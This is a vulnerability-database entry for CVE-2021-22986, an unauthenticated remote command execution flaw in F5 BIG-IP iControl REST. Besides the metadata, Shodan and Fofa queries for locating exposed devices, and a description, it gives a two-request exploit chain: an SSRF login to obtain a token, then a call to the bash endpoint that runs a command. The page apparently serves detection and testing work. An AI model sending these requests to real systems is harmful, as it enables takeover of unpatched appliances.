🔙 목록으로 돌아가기

CVE-2021-22986: F5 iControl REST - Remote Command Execution

TitleF5 iControl REST - Remote Command Execution
Authorrootxharsh,iamnoooob
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
RemediationApply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.94485
CVE IDCVE-2021-22986
CWE IDCWE-918
Shodan Queryhttp.title:"big-ip®-+redirect" +"server"
Fofa Querytitle="big-ip®-+redirect" +"server"
Tags cve cve2021 bigip rce kev packetstorm f5 vkev vuln

🔍 Vulnerability Description

F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.

🌐 HTTP Request

POST /mgmt/shared/authn/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Length: 103
Accept-Language: en
Authorization: Basic YWRtaW46
Connection: close
Content-Type: application/json
Cookie: BIGIPAuthCookie=1234
Accept-Encoding: gzip

{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
POST /mgmt/tm/util/bash HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Content-Length: 39
Accept-Language: en
Connection: close
Content-Type: application/json
X-F5-Auth-Token: 9VzJi5
Accept-Encoding: gzip

{"command":"run","utilCmdArgs":"-c id"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22986.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-22986.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A